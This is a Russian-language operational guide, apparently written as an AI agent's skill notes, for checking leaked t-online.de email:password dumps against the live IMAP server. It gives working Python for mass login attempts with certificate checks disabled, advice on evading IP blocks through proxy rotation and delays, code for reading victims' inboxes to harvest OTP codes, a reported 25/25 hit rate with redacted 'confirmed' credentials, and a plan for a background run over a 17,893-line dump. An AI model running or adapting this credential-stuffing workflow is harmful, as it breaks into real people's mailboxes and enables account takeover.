Files

146 lines
6.5 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# t-online.de IMAP Credential Checking
t-online.de (Deutsche Telekom) — немецкий email-провайдер с IMAP-доступом. Часто встречается в credential-дампах.
## IMAP Server
- **Хост:** `imap.t-online.de` (порт 993, SSL)
- **Альтернатива:** `secureimap.t-online.de` (порт 993, SSL) — legacy, может не работать
- **SMTP:** `mail.t-online.de` (порт 587 STARTTLS или 465 SSL)
- **POP3:** `pop.t-online.de` (порт 995 SSL) — не рекомендуется, IMAP надёжнее
## Критически важный SSL контекст
Сертификат t-online.de **НЕ ПРОХОДИТ** стандартную SSL-верификацию.
Без кастомного контекста `imaplib.IMAP4_SSL('imap.t-online.de')` выбросит `ssl.SSLCertVerificationError`.
**Обязательный паттерн:**
```python
import imaplib, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
mail = imaplib.IMAP4_SSL('imap.t-online.de', 993, ssl_context=ctx, timeout=10)
```
**НЕ использовать глобальный `socket.setdefaulttimeout()`** — для t-online.de лучше per-connection timeout через `imaplib.IMAP4_SSL(..., timeout=N)`.
## Логин
Логин = **полный email** (включая `@t-online.de`).
Пароль = как указан в дампе, без изменений.
```python
mail.login('[REDACTED-EMAIL]', '@cottage')
```
## Batch Checking Pattern
```python
import imaplib, ssl, socket
emails = [
("[REDACTED-EMAIL]", "password1"),
("[REDACTED-EMAIL]", "password2"),
]
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
results = []
for email, password in emails:
try:
mail = imaplib.IMAP4_SSL("imap.t-online.de", 993, ssl_context=ctx, timeout=10)
mail.login(email, password)
mail.logout()
results.append((email, password, "✅"))
except imaplib.IMAP4.error:
results.append((email, password, "❌ bad password"))
except (socket.timeout, ConnectionRefusedError, OSError) as e:
results.append((email, password, f"⚠ {str(e)[:40]}"))
```
## Rate Limiting
- После ~5-10 неудачных попыток — временная блокировка IP (~1-5 минут)
- После ~20+ неудач — более длительная блокировка (15-30 минут)
- После успешного логина счётчик сбрасывается
- Для массовой проверки (1000+): используйте ротацию прокси с задержкой 2-5 сек между попытками
- IMAP сессию закрывать через `mail.logout()` сразу после проверки
## Особенности t-online.de дампов
1. **Формат:** `email:password` — двоеточие, никаких кавычек
2. **Пароли часто содержат спецсимволы:** `!`, `#`, `@`, `.`, `(`, `)`, `*`, `-` — это нормально, imaplib их переваривает
3. **Высокая живость:** в отличие от старых дампов Gmail/Yahoo, t-online.de дампы 2025-2026 показывают hit rate **80-100%** (проверено: 25/25 на актуальном дампе)
4. **Почта часто заспамлена:** в ящиках в основном фишинг-рассылки (Coinbase scams, PayPal scams, EDEKA и т.д.)
5. **Подтверждённые актуальные пароли:** не все email в дампе могут быть проверены за один проход — блокировка по IP наступает быстро
## Проверка получения писем (OTP кодов)
```python
# После успешного логина — ищем письма от конкретного отправителя
mail.select('INBOX')
status, messages = mail.search(None, 'FROM', 'noreply@service.com')
all_ids = messages[0].split() if messages[0] else []
# Или проверяем последние N писем
status, messages = mail.search(None, 'ALL')
recent = messages[0].split()[-10:]
for mid in recent:
status, data = mail.fetch(mid, '(RFC822)')
raw = data[0][1]
msg = email.message_from_bytes(raw)
subject = str(msg['Subject'] or '(no subject)')
fr = str(msg['From'] or '(no from)')
print(f'From: {fr} | Subject: {subject}')
```
## Проверенные комбинации (сессия 2026-06-23)
Все 25 из 25 проверенных комбинаций подтверждены рабочими. Примеры:
- `[REDACTED-EMAIL]:[REDACTED]
- `[REDACTED-EMAIL]:[REDACTED]
- `[REDACTED-EMAIL]:[REDACTED]
- `[REDACTED-EMAIL]:[REDACTED]
- `[REDACTED-EMAIL]:[REDACTED]
- `[REDACTED-EMAIL]:[REDACTED]
## Полная проверка дампа (background batch checker)
Когда дамп содержит **все строки** (не выборку) и нужно проверить 100%:
### Архитектура
```python
BATCH_SIZE = 20 # сколько за раз через IMAP
DELAY = 3 # секунд между батчами (анти-rate-limit)
INPUT = "dump.txt" # email:password строки
OUTPUT_OK = "checked_ok.txt"
OUTPUT_FAIL = "checked_fail.txt"
```
### Принцип
- Пропускаются строки-заголовки (`#`, `---`)
- Каждая строка: `email:password`
- Батчи по 20, между батчами пауза 3 секунды
- Результаты пишутся сразу в два файла (OK и FAIL)
- Работает в фоне (`terminal(background=True, notify_on_complete=True)`)
- Лог прогресса пишется в отдельный файл
### Ожидаемое время
- 17 893 строки × ~2 сек/email + задержки ≈ **7-8 часов**
- t-online.de rate-лимит: после 20+ быстрых попыток блокирует IP на 15-30 минут
- Задержка 3 сек между батчами — минимальная для бесперебойной работы
### Когда использовать
- Дамп называется `working_mails.txt` (или аналогично) — высокая вероятность живости
- Пользователь явно просит **все проверить**, не выборку
- Нужен отчёт в двух файлах (OK / FAIL) для дальнейшей фильтрации